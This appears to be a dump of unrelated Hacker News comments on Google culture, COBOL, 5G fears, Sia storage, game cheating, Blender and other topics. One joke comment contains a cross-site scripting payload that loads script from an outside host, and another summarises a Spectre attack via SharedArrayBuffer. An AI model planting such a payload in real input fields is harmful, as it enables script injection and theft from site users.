skysight-inc/HackerNews huggingface dataset:
The trouble is that Google's internal culture war did tremendous damage to the company's norms, especially after both sides developed rhetorical "nukes" like targeted press leaks.

Now, in many places, where there was one fascinating discussion, one sees only find a few remaining lonely activists talking with each other and the void. There's a certain hypersensitivity to perceived offense. Large areas of the company are now in information silos. Live questions at TGIF no longer happen. Internal social media is no longer funny or interesting. Ever discuso forum of meaningful size is getting "community standards moderation".

Yes, it looks like the activists are slowly and steadily losing the war. I wish they'd admit defeat. At this point, they're prolonging the inevitable. But still, they're going to lose, one exercise of soft power at a time.

But what's left behin? A waste. Silence. A desert where nothing grows. It's unfortunate. It's sad. But it had to be done.
> requiring three-factor authentication in certain regions

I hope obligatory two-factor authentication is not becoming a trend.
Curious what kind of content will be in there.

I can't personally imagine Joe Rogan or Sam Harris kind of conversations under the Apple umbrella, since no matter the topic, there's always going to be someone offended and it's now a question of who's gonna spin the "Apple is sponsoring nazis" kind of narrative first.
Overcast doesn’t insert ads into podcasts. Marco objected to including mystery meat binary blobs where he didn’t control the code or ads being served. He controls both the code and the ads for Overcast.
Ruslan! Yesterday I was going through your how to build a simple interpreter tutorial, as well as looking through the posted link to see where I need to polish my skills. Crazy coincidence.
Abigail you say
There is no such thing as the 'Open Research Group', outside of Meredith. see https://googlersagainstdeceit.blogspot.com.
I can imagine the support call:

> Did you really name your Tesla "><script src=//zlz.xss.ht></script>?

> Oh, yes, little Bobby ScriptSrc, we call him.
NY Times has a "number of articles read"-type pay wall. If you surpass X articles in a month then they make you log in, or pay or something.

As a result, the submitter may not have realized that the article is conditionally paywalled. Personally, I managed to read the article just fine.
I switched relatively late (2011 or so) after about a decade of Windows and Linux laptops. The actually-usable trackpad that didn't make me want to carry a mouse everywhere if I actually wanted to use the computer on the go, the battery life that didn't have me looking for outlets everywhere and carting my power supply all over the place, the screen quality, and all the hardware actually working the way it was supposed to (including all sleep modes, with no fiddling and crashes- or hangs-on-wake pretty much never happening!) were all like entering a new world. "You mean I can just close the lid, unplug, and walk away, without taking other stuff and without babying the sleep process? What is this madness?"
But it is more complex in the sense that you need a lot of fine tuning.
If you just match cheaters with cheaters then it is easy to see too.

You need some kind of dynamic ranking of "toxicity" (in this case cheating) match user with other of similar toxicity.
Why? It is fairly close to the metal and runs on hardware DESIGNED to be fast for transactions. IBM mainframes aren't even expressed in flops but some other unit designed to represent transactions per second.

Edit: googled it and they use MIPS (millions of instructions per second).
Has anyone done an experiment where they raise a couple generations of rats between two 5G base stations constantly transmitting at ~80% capacity?

That seems like it would quite conclusively demonstrate safety.
And end cards were made for exactly this purpose - you can't put them in the description but at the end you can link to latest video in a playlist.
the idea is that cheaters would find it more fun to play in the tool-assisted mode. obviously there will still be some black-hats who try to hack the main mode.
>There are a million things that can go wrong that make this customer's experiences different from everyone else

In my experience the things that are easier to write-off as unique to one case, non-representative, or too rare to fix, so they don't have to be thoroughly addressed are warning signs of a robustness issue. Still doesn't mean that they'll get fixed then and there, but they often come around to bite you in the ass later.
I think it mostly stems from IBM compiler optimizations for their mainframes (which is most of today's COBOL), and not the language itself.

I do COBOL mostly in OpenVMS and only tinker with IBM in the weekends but it would be cool to see how it performs under the same circumstances compared to other languages.
If floods and mud are your thing, check out zermatism:

http://unurthed.com/2007/12/23/szukalskis-science-of-zermati...
As others have mentioned there are apps in the wild that do this. I use a notes app Notion.so which does auth like this.

To be honest I didn't/don't like it because it's an extra step and I use a password manager anyway that makes it easy to fill in my passwords.

As I'm reflecting on it though, it's not that big of deal as I use the mobile and desktop apps which I'm signed into all the time. I would imagine if it were an app I had to log into again all the time or frequently I would be pretty annoyed with it.
Is it fixed point math or decimal floating point? These are not the same, but fixed point is fairly trivial to reimplement on any platform; there's even an official "embedded C" extension that adds support for it.
> June was the hottest month recorded in human history: https://weather.com/en-IN/india/news/news/2019-07-16-earth-e...

No it was not - it was the hottest JUNE on record. Not the hottest MONTH. Your source even says so.

This is very serious. Errors like this make it easier for denialists to find a technical issue and then disregard the entire message.
Isn't one of the hardest parts of making these tools evading detection? An aimbot isn't that tremendously difficult to create, the hard part is creating an aimbot that is hard to differentiate from a skilled player.

If the competition is all using assists, then the sneaky aimbot that simulates slower human reflexes will lose to the bot that positions the sights directly on the opponent in <0.1ms. I like this idea, I don't see why it would make it any easier to develop the types of cheating systems that affect human players, and it might be fun for the types of players that enjoy things like tool-assisted speed running; where the ultimate aim is more about studying the underlying game mechanics to determine the algorithmically-optimal way to play. If the default is tool-assisted, then all the human players will be excluded by default.
Looking at the absurdly long code required to make factorials work makes you wonder what conveniences we are all used to without really appreciating them. And which ones will future programmers take for granted but are too niche now - maybe async/await or the borrow checker concepts, or is programming mostly "done"?

http://rosettacode.org/wiki/Factorial#COBOL

or also http://rosettacode.org/wiki/FizzBuzz#COBOL

Is there a code example where Cobol shines in comparison to, say, Python?
I wish all games allowed botting and just pushed you onto a unique server so you can't hurt the economy. Such a great playground for developing early coding skills.
> The hard part about building a search engine isn't indexing the internet, it's adapting to spam. Spammers are continually adapting to changes in the algorithm, so the algorithm needs to adapt as well.

Adaptive crawlers?
They've been used a lot in the past--most notably, for me, in Diablo II back in the early 2000's. I remember writing a bunch of D2JSP code back in the day and getting my account "flagged"--basically stuck forever to play against pickit users and autolockers.

Friends were able to join my game, but not I theirs, and the "available games" list was way smaller.
> What a refurbished hard disk does not give you: [...]

The whole point is that a decentralized storage network can add such features on top of the 1TB refurbished hard drive.

The refurbished drive may not be reliable, but if you replicate your data amongst many separate drives with independent failure (geographically distributed; different providing entities) then you can create a system with greater reliability. By using erasure coding schemes (similar to RAID5/6), it's possible to reduce the storage overhead which supports reliability to a fraction of the principle amount. Thus, providing 1 TB of storage to the network could earn slightly less than 1 TB of reliable storage in return.

Comparatively, a single cloud provider has the disadvantage that, because they are a single legal entity, they can decide for whatever reason to not continue your service.
An airhorn should only be used outdoors. These can output 120 decibels, enough to cause pain and temporary hearing impairment.
Exactly because there are no public benchmarks.
Facebook's Libra cryptocurrency plans spark fear in regulators
No, generally the primary components of commodity parcel cardboard are biodegradable and non-toxic. AFAIK.

The tape is probably the biggest issue, and more and more of that is becoming paper I think. I'd be interested to see packaging completely free of plastic.
Original Mold for “Ernie's Rubber Duck” (1977)
So aliens turned up, gave some advice about things people already knew how to do, didn't help with the actual work, received worship, then scarpered before anyone could realise they'd been scammed?

They are still here among us - they just call themselves consultants.
Nothing like finding a loop in a simple graph...
Australian towns facing water day-zero
Okay, bad example. AWS is a paid service so obviously they have more information about their users than most. What about Dropbox or OneDrive? Both of those services allow files to be stored and shared with no requirement to identify yourself when you're creating an account, beyond providing an email address.
They are though (although the article doesn't really talk about it), they are switching to plastic when possible.

"The Business Of Amazon Shipping Boxes":
https://www.youtube.com/watch?v=bYh1KTfydvU
I think the fundamental problem, in engineering terms, is that most cloud deployments effectively wire together cloud components serially.

Your LB may have some nines, your individual vms (or set of vms in a region) may have some nines, your data store may have some nines, but if all of them aren't working together it's unlikely your business will be up.

This is inherently customer-dependent and yet it's super predictable (nobody only uses a lb).
Was it because Twitter tried to recursively load the previews?
Typically two factor authentication just means this account and one other account.
Incidentally sometimes is a gadget or a phone number.

Adding two secondary accounts (both an SMS and an email) could warrant the name
Azure customer gets the blues.
They weren't. Meredith was employed full time at Google and using all of that time to work on AI Now. It was her work time.
Appreciate your response. My comparison to the cost of a hard drive today is not meant to be a direct comparison, but instead to demonstrate that traditional cloud storage is actually quite expensive. Sia is able to bring down storage costs by an order of magnitude and bandwidth costs by two orders of magnitude. While most HN readers understand the nuances of cloud storage costs, most non-technical readers are unfamiliar with the high costs of S3 storage and egress.
Blender? Really? Huh, I've been looking for a program to do some simple video editing. Would you happen to know of a good tutorial for the basics of non-linear video editing with Blender?
Encryption on Sia happens on the client-side, so the host has no guarantee that the file is actually encrypted.[1]

For encrypted data, I think it will be similar to the situation with other storage providers. If law enforcement searches your computer and discovers that you've uploaded illegal content in encrypted form to S3/GCS/Mega (especially Mega because they make it so easy to upload client-side encrypted data), then law enforcement will order the provider to destroy all copies of the data.

It will be interesting to see what happens if the provider is a Sia host. Law enforcement entities have standard processes for reporting illegal content to Amazon/Google/Mega/etc, and those companies have teams responsible for handling those requests. Casual Sia hosts currently wouldn't know how to handle such a request. The outcome might be that the compliance costs are too big for casual home users, so hosting on Sia becomes a specialized task that only dedicated companies can provide.

[1] https://lukechampine.com/irresponsible.html
There are only two coffee shops in Wellington (NZ) according to DDG/AppleMaps.

https://duckduckgo.com/?q=coffee+shop&t=h_&ia=recipes&iaxm=m...

Edit: searching for "cafe" gives better results but still not great

https://duckduckgo.com/?q=cafe&t=h_&ia=recipes&iaxm=places&s...
What do you mean by "transactions" in this context? I don't think either COBOL or old IBM mainframes support software transactional memory (STM) as that's a fairly exotic technique that's mostly seen in the context of Haskell and the like, even though it does seem interesting as a model for concurrency.
We don't need to treat 5G like it's magical just because it has a new name. It's just radio. We have been living around radio forever. Unless there is real evidence that other radio broadcasts cause problems, there's no reason to study 5G in particular.
One strategy I've seen and used effectively is speaking slowly and quietly, people will be forced to listen carefully to what you are saying and it will bring the energy of the conversation down a notch.
Who is going to write FEA software? Or rigid body dynamics simulation? Or the physically based rendering software? It's not going to be a typical electrical engineer.
Here's the issue with this: the live-traffic component of google maps, waze, etc. is very much a network effect. You get a lot of traffic info by measuring the speeds and stalls of your users. This creates the classic chicken-and-egg problem: need users to get data; need data to get users.
Would be nice if Android permissions allowed a three way choice:
1. Allow access to photos
2. No access to photos
3. Isolated Photo Storage

Where option (3) and option (1) appear transparent to the application requesting the permission
We used to have one a long time ago when we fronted with nginx and I could just throw a static file up there, but once we switched to everything being dynamic, it wasn't worth the effort to code up a route. :)
Octopus is a debit/credit card in and of itself, but you can't use regular bank contactless cards for payment. There are bank Octopus cards but those have to be specifically compatible with Octopus. And it's availble in Samsung Pay but as a distinct card, you can't just use any credit card in your mobile wallet.

The system the OP is describing is compatible with standard contactless technologies (bank cards, Apple/Android/Samsung Pay). It cuts out the need for separate Octopus entirely.
It's issues like this that make me sympathetic to people who are "anti-science", or generally lack belief in the status-quo of generally accepted health safety.

There are a myriad of instances of the government and the scientific community being wrong - while many of us would like to think that we're qualified to judge the invalidity of studies like this, most of us are not. When one credentialed person disagrees with another, would it not be common sense to err on the side of safety?

Don't get me wrong, the gross disregard for science and education is VERY not good. I don't think 5G is going to give anyone cancer, vaccines are definitely good, GMO is good, etc etc. That being said, I think it's a really difficult world to navigate, especially when the internet can create a level playing field between two "experts" very easily.

I'm not sure what I'm really trying to say here, other than this sucks - hearing that people are wasting taxpayer dollars suing Portland to get wifi out of schools is too bad, and the fact that they have "legitimate" studies to show why it's a problem is all the worse.
Not much actual technical details regarding this “significant cyber incident”. It must take a great of influence to keep the name out of the media.
Going to vendor's website always have comparisons that claims, it can do everything that the competitor's can not. What I'd also like to know is limitations. Where it's not a good idea to use a product? This would help me make informed decision and build relationship with vendor based on trust.

Best of luck with new licensing.
Not sure why you were downvoted but that would be a good idea since the site supports HTTPS
I had a broken keyboard for my macbook air. The fix for it was a new logic board, and this was past warranty. So the only way around was an external keyboard. But this just defeats the portability of a laptop.
See also cascara, the dried fruit left over from producing coffee beans:

https://en.wikipedia.org/wiki/Coffee_cherry_tea
This is a good point. If I know an address, Apple Maps will find it accurately. If I just know a place name it doesn’t always pick the right one. Google seems better at knowing which place name I mean.
I just had a thought, and it might be a very bad one: why can't robocallers be de-platformed in the same way Facebook and Twitter de-platforms accounts they consider to be harmful on their platforms?
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Summary:. Shared Array buffers, used by multithreaded webassembly, can be used in combination with a spectre attack to read the memory of the Firefox renderer process.

If that renderer has also loaded your Google/Facebook cookies, that's a really big problem, since the attacker can now read all your email or post rude things on your mum's wall.

Chrome has solved this with site isolation - every domain gets its own renderer process.

It's a lot of work to do the same in Firefox. And the performance and memory impact of site isolation is pretty big.
Technical ability isn't relevant in ~90% of "CS" jobs. Everyone can do the basics, and you don't need more than the basics to do 90% of "CS" jobs.

You will be left behind by coworkers who can communicate, and you will be confused about why, if you can't communicate well. Specifically, if you can't take an idea you have and convince others it's the right idea.
Sadly the nature of the game doesn't allow for this, you cannot just spin up more matches in PoGO.

But on this I am very critical of how Niantic is handling both Pokemon GO and wizard Unite
So pair calculus with a programming project that involves physics simulation.
My first instinct is that it's a money thing -- kind of like how Yelp results show up in DDG now which I only recently noticed. DDG is taking a page out of Mozilla's book and getting as many corporate partnerships as they can.
Backblaze's failure/longevity stats are indispensable when considering which drive to purchase: https://www.backblaze.com/blog/hard-drive-stats-for-2018/
Yeah but you cut sodas and get fresh fruit, I absolutely agree that you shouldn't aid bad habits but just cutting that stuff hints at something else than "helping you be healthy"
"OK, thanks." then go back to whatever else you were doing. Your example at least makes it sound like this person is actually seeking a confrontation of some sort, so just remove that as an option.

Alternately, "let me know when you decide how to handle it."

Or maybe that person is using you for rubber duck debugging[0] and you're not fulfilling your part, in which case buy him a rubber duck.

[0] https://en.m.wikipedia.org/wiki/Rubber_duck_debugging
Public clouds: The new Comcast.
I imagine the DE part of ML is, practically speaking, imported from a library somewhere by practitioners.
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Yeah and if you look at those guys biographies and the critical decisions they made time and again ... a non technical person would make a fatal mistake a high % of the time.
The issue is that percentiles are a very crude tool. This isn’t just a multitenancy problem, it can manifest in any multiuser system. If 0.5% of your traffic comes from New Zealand, a DNS issue affecting your CDN routing that causes all NZ traffic to time out won’t affect your 99th percentile loadtime graph at all. Essentially, percentiles are useless for discovering problems that have a strong effect on a small portion of your traffic.

Scatter plots and histograms are much better at telling you when the distribution of a stat has gone bimodal with a small but consistent group in the outlier group. Percentiles only make sense for telling you, when you already know what shape the distribution curve should be, how flat that curve is right now. They don’t tell you when the shape has changed.
Oh man, I remember trying (and succeeding) to do this with comments, back before you had a 30 second grace period before getting the asterisk. I wrote a comment that linked to itself.

I later became "more" famous for inadvertently DDoSing reddit, and forgot all about it until someone replied to one of my comments saying "aren't you the asshole who brought down reddit as an April fool's joke?". "Huh? No! Oh, wait".
I've used Blender for video editing, but I had to pull up a fairly long Youtube video on how to set up my environment and choose settings in Blender's UI.

I've just pulled down a 2.80 release candidate with the UI overhaul to see if it's any better. It's actually pretty nice. I just selected the video editor option in the startup screen, and things sort of worked like I expect in a NLE.
This still leaves problems:

1. Now I have to trust two providers, each of which could have problems.

2. Now I have to pay for encryption, then pay for storage, and probably have higher ingress costs, too (I can probably trust AWS/GCP/Azure/Backblaze/whatever; not sure about random-blockchain-guy #67812).
It used to be that the term Nazi meant something, but now it's just as crazy as labeling something antisemitic and racist. Not saying there aren't things that aren't truly antisemetic and racist, but it gets tiring seeing politics carried out with the sniper round of a jounalist that believes he must be right and everyone not in his political camp must be wrong.

When you have to attack the person instead of their argument (and by and large labels like Nazi, and Antisemtic, and Racist do this), then you're doing something wrong.
The foods here used to be special but in the last 10 years seemed more focused on tourists.
I don't do networking, and I don't make a lot of friends outside of work, so I really only know people I have worked with before, and those people are mostly working at the same company I left, or they are working at companies I don't want to work at.

So I've failed by the bar set in your comment, but for some reason I don't feel that way, because there are plenty of jobs out there on job boards. I got 1 job through my network (an ex boss) and it wasn't any worse or better than the others. I've got a really good job now.

I can see where networking shines, and it's where you went to a top university, made lots of friends - especially in the same course and kept tabs with them since and a lot of them have gone to work for Google (etc.) or cool startups and now you can find an easier way in, which is fair enough.

Note: I'm not in the USA
> You're not going to be able to compete on the speed anytime soon probably, and maybe even the capacity if it really takes off

Sia today running in the default configuration gets as much as 300mpbs upload and download, which I believe is comparable to S3. Latencies are several seconds, which is not comparable to S3 however this is a matter of software optimization, not a fundamental limitation of the network architecture.